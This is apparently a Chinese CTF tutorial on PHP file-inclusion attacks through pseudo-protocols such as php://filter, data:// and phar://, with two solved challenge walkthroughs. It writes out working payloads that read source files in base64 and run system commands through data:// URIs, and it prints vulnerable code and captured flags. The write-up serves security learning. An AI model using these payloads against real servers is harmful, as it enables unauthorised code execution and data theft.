文件包含漏洞——伪协议

文件包含漏洞——伪协议

tao

2025-04-26 发布41 浏览 · 0 点赞 · 0 收藏

filter伪协议

php://filter 是 PHP 中一种特殊的伪协议,是一种元包装器,可在数据流被读取或写入前对其进行筛选过滤。

  • 读取数据时过滤php://filter/read=过滤器名称/resource=目标资源 。通过指定过滤器,对读取的目标资源数据进行处理。比如想对 index.php 文件内容进行 Base64 编码后读取,可写成 php://filter/read=convert.base64-encode/resource=index.php 。
  • 写入数据时过滤php://filter/write=过滤器名称/resource=目标资源 。在向目标资源写入数据时,先经指定过滤器处理。

data伪协议

data 伪协议是一种用于内嵌数据的伪协议,能将数据直接嵌入到 URI(统一资源标识符)中 。
在存在文件包含漏洞的情况下,可利用 data 伪协议执行特定代码。比如构造 ?file=data://text/plain,<?php phpinfo();?> ,当目标网站存在文件包含功能且对输入过滤不严时,可通过该 data 伪协议让服务器执行 phpinfo() 函数,获取 PHP 配置信息 ;也可构造 ?file=data://text/plain,<?php system("ls /");?> 来执行系统命令列出根目录下文件 。
注:当url中出现‘+’需要对它进行url编码

zip伪协议

zip 伪协议是 PHP 中用于处理 ZIP 压缩文件的一种特殊伪协议,它允许开发者在不进行实际解压操作的情况下,直接访问 ZIP 文件中的内容。
基本语法:zip://压缩包名#文件名

glob伪协议

glob 伪协议是 PHP 里用于文件路径模式匹配的一种伪协议。借助该协议,能按特定模式对文件路径进行匹配,进而获取与之匹配的文件列表。
基本语法glob://<模式>

  • <模式>:这是用于匹配文件路径的模式,其中可包含通配符。常见通配符有:
    • *:能匹配任意数量的任意字符。
    • ?:可匹配单个任意字符。
    • []:能匹配方括号内指定的任意一个字符,例如 [abc] 可匹配 ab 或者 c
<?php 
// 查找当前目录下所有的 .txt 文件 
$files = glob('glob://*.txt'); 
foreach ($files as $file) { echo $file . PHP_EOL; } 
?>

phar伪协议

phar(PHP Archive)伪协议是 PHP 中用于处理 PHAR(PHP 归档)文件的一种特殊伪协议。PHAR 文件是一种将多个 PHP 文件打包成一个文件的归档格式,类似于 Java 的 JAR 文件,它允许开发者将多个 PHP 文件、资源文件等组合成一个单一的可执行文件,方便分发和部署。
基本格式:phar://<PHAR 文件路径>/<PHAR 包内文件路径>

<?php 
// 假设 PHAR 文件名为 example.phar,其中包含一个名为 test.txt 的文件 $fileContent = file_get_contents('phar://example.phar/test.txt');
if ($fileContent !== false) 
{ echo $fileContent; } 
else { echo "无法读取文件内容。"; } 
?>
<?php 
// 假设 PHAR 文件名为 scripts.phar,其中包含一个名为 script.php 的文件 include('phar://scripts.phar/script.php');
?>

攻防世界例题屏幕截图 2025-04-24 194003.png屏幕截图 2025-04-24 194141.png

根据页面提示,知道文件路径在/var/www/html/下
f12查看源码

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
	@setcookie("language","english");
	@include("english.php");
}
else
{
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>

需要利用文件包含漏洞,就需要让else语句执行,那么 $lan 的值就要存在,也就是需要在客户端传递cokkie为 $lan 赋值
使用bp抓包,在请求中构造payload

Cookie: language=php://filter/read=convert.base64-encode/resource=flag

此时页面显示
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezQ3ZDRkYmM0OTVjOTU4NzdmNTk4Yjk2NzI0MzM3NmYxfSI7DQo/Pg==
base64解码:

<?php
$flag="cyberpeace{47d4dbc495c95877f598b967243376f1}";
?>

攻防世界例题

屏幕截图 2025-04-24 205942.png
查看界面显示的代码

<?php  
show_source(__FILE__);  
echo $_GET['hello'];  
$page=$_GET['page'];  
while (strstr($page, "php://")) {    $page=str_replace("php://", "", $page);  
}  
include($page);  
?>

此题对php://进行了过滤,所以使用不了filter伪协议,可以尝试使用data伪协议
构造payload

http://61.147.171.105:57935/
?page=data://text/plain,<?php system(ls);?>

页面出现回显
fl4gisisish3r3.php index.php phpinfo.php
flag在应该就在fl4gisisish3r3.php文件中、
使用cat命令查看该文件但是没有回显,可能是普通用户只有ls权限,没有cat权限
使用file_get_contents命令,将读取到的数据直接输出

http://61.147.171.105:57935/
?page=data://text/plain,<?php echo file_get_contents(fl4gisisish3r3.php);?>

页面没有回显
直接使用 echo $a 可能会因为特殊字符被浏览器解析或被安全机制拦截而无回显,而使用 echo htmlspecialchars($a) 会将特殊字符转换为 HTML 实体,从而正常显示内容。
htmlspecialchars:这是 PHP 内置的一个函数,其功能是把一些预定义的字符转换为 HTML 实体。这样做能够防止用户输入的特殊字符被浏览器当作 HTML 标签或代码来解析,从而避免 XSS(跨站脚本攻击)等安全问题。
重新构造

http://61.147.171.105:57935/
?page=data://text/plain,<?php 
echo htmlspecialchars(file_get_contents(fl4gisisish3r3.php));?>

页面成功回显

<?php $flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"; ?>
请前往 登录/注册 即可发表您的看法…